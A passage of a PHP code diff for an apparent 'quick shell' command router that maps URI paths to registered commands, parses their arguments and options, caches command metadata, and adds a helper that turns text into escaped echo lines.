||||||
|
/** @var CommandArgument $arg */
|
||||||
|
if ($arg->one_argument) { // 如果后面的作为统一参数,则直接返回结果,无视CommandOption和后面的所有CommandArgument
|
||||||
|
if ($arg->allow_empty || $uri !== '') {
|
||||||
|
return [self::$shells[$cmd]['command'], [$arg->argument_name => urldecode($uri) . ($has_right_slash ? '/' : '')]];
|
||||||
|
} else {
|
||||||
|
ctx()->getResponse()->end(rawtext('命令 ' . $cmd . ' 参数 ' . $arg->argument_name . ' 为必需参数,不可为空!' . PHP_EOL . $this->generateHelpArgument($cmd)));
|
||||||
|
throw new InterruptException();
|
||||||
|
}
|
||||||
|
} else { // 如果必需但参数单一,则shift一个参数
|
||||||
|
if ($uri === '') {
|
||||||
|
ctx()->getResponse()->end(rawtext('命令 ' . $cmd . ' 参数 ' . $arg->argument_name . ' 为必需参数,不可为空!' . PHP_EOL . $this->generateHelpArgument($cmd)));
|
||||||
|
throw new InterruptException();
|
||||||
|
}
|
||||||
|
$uri .= '/';
|
||||||
|
$arg_value = mb_substr($uri, 0, mb_strpos($uri, '/')); // 右侧加盖防止匹配不到或匹配出现错误
|
||||||
|
$uri = rtrim(mb_substr($uri, mb_strpos($uri, '/') + 1), '/'); // 下一个参数
|
||||||
|
$args[$arg->argument_name] = $arg_value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$divide = explode('/', $uri);
|
||||||
|
foreach ($divide as $vs) {
|
||||||
|
if ($vs === '') continue;
|
||||||
|
$ss = explode("=", $vs);
|
||||||
|
if ($ss[0] === '') continue;
|
||||||
|
$input_params[$ss[0]] = $ss[1] ?? '';
|
||||||
|
}
|
||||||
|
foreach (self::$shells[$cmd]['options'] as $obj) {
|
||||||
|
if ($obj->required === false) {
|
||||||
|
$args[$obj->option_name] = isset($input_params[$obj->option_name]);
|
||||||
|
} else {
|
||||||
|
if (isset($input_params[$obj->option_name])) {
|
||||||
|
if ($input_params[$obj->option_name] === '') {
|
||||||
|
ctx()->getResponse()->end(rawtext('命令 ' . $cmd . ' 参数 ' . $obj->option_name . ' 不能为空'));
|
||||||
|
EventDispatcher::interrupt();
|
||||||
|
} else {
|
||||||
|
$args[$obj->option_name] = urldecode($input_params[$obj->option_name]);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
$args[$obj->option_name] = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return [self::$shells[$cmd]['command'], $args];
|
||||||
|
}
|
||||||
|
ctx()->getResponse()->end(rawtext($origin_uri !== '' ? ('无法匹配此快捷命令: ' . $origin_uri) : HelpCommand::getHelpTemplate()));
|
||||||
|
throw new InterruptException;
|
||||||
|
}
|
||||||
|
/*
|
||||||
|
ctf/asd/ihui/
|
||||||
|
ctf/asd/
|
||||||
|
ctf/asdasdasd/
|
||||||
|
help/isi/
|
||||||
|
* */
|
||||||
|
/**
|
||||||
|
* 启动前生成每个进程下的命令缓存,避免每次请求都要遍历所有的注解来找命令
|
||||||
|
*/
|
||||||
|
public function generateCommandList()
|
||||||
|
{
|
||||||
|
foreach ((EventManager::$events[Command::class] ?? []) as $command) {
|
||||||
|
/** @var Command $command */
|
||||||
|
// 将category和命令名称结合,组成真正的名称
|
||||||
|
$name = trim($command->name, '/');
|
||||||
|
$category_store = null;
|
||||||
|
foreach ((new EventMapIterator($command->class, $command->method, CommandCategory::class)) as $category) {
|
||||||
|
/** @var CommandCategory $category */
|
||||||
|
if ($category->category !== '') {
|
||||||
|
$category_store = $category->category;
|
||||||
|
$name = trim($category->category, '/') . '/' . $name;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 缓存arguments
|
||||||
|
$arguments = [];
|
||||||
|
foreach ((new EventMapIterator($command->class, $command->method, CommandArgument::class)) as $argument) {
|
||||||
|
/** @var CommandArgument $argument */
|
||||||
|
$arguments[] = $argument;
|
||||||
|
}
|
||||||
|
// 缓存options
|
||||||
|
$options = [];
|
||||||
|
foreach ((new EventMapIterator($command->class, $command->method, CommandOption::class)) as $option) {
|
||||||
|
/** @var CommandOption $option */
|
||||||
|
$options[] = $option;
|
||||||
|
}
|
||||||
|
// 缓存command
|
||||||
|
self::$shells[$name] = [
|
||||||
|
'category' => $category_store,
|
||||||
|
'command' => $command,
|
||||||
|
'arguments' => $arguments,
|
||||||
|
'options' => $options,
|
||||||
|
];
|
||||||
|
if ($command->alias !== '') {
|
||||||
|
$alias_name = $category_store !== null ? trim($category_store, '/') . '/' . $command->alias : $command->alias;
|
||||||
|
self::$shell_alias[$alias_name] = $name;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public function getShellCommand($name)
|
private function generateHelpArgument(string $cmd)
|
||||||
{
|
{
|
||||||
$d = ZMConfig::get('shell_list')[$name]['command'] ?? null;
|
$arg = Console::setColor($cmd . ' 命令参数指引', 'yellow') . ': ' . PHP_EOL . "\t$cmd";
|
||||||
if ($d === null) {
|
foreach (self::$shells[$cmd]['arguments'] as $argument) {
|
||||||
return 'echo "command not found"';
|
/** @var CommandArgument $argument */;
|
||||||
|
$arg .= '/' . Console::setColor('{' . $argument->argument_name . '}', 'green');
|
||||||
}
|
}
|
||||||
return $d;
|
return $arg;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -1,6 +1,17 @@
|
|||||||
<?php
|
<?php
|
||||||
|
|
||||||
|
const QUICK_SHELL_VERSION = '1.0.0';
|
||||||
|
|
||||||
function cmd($cmd): string
|
function cmd($cmd): string
|
||||||
{
|
{
|
||||||
return $cmd . PHP_EOL;
|
return $cmd . PHP_EOL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function rawtext($text, $execution = true): string
|
||||||
|
{
|
||||||
|
$lines = [];
|
||||||
|
foreach (explode(PHP_EOL, $text) as $line) {
|
||||||
|
$lines[] = "echo" . ($execution ? ' -e' : '') . " " . escapeshellarg($line);
|
||||||
|
}
|
||||||
|
return implode(" ;\n", $lines) . PHP_EOL;
|
||||||
|
}
|
||||||
Loading…
x
Reference in New Issue
Block a user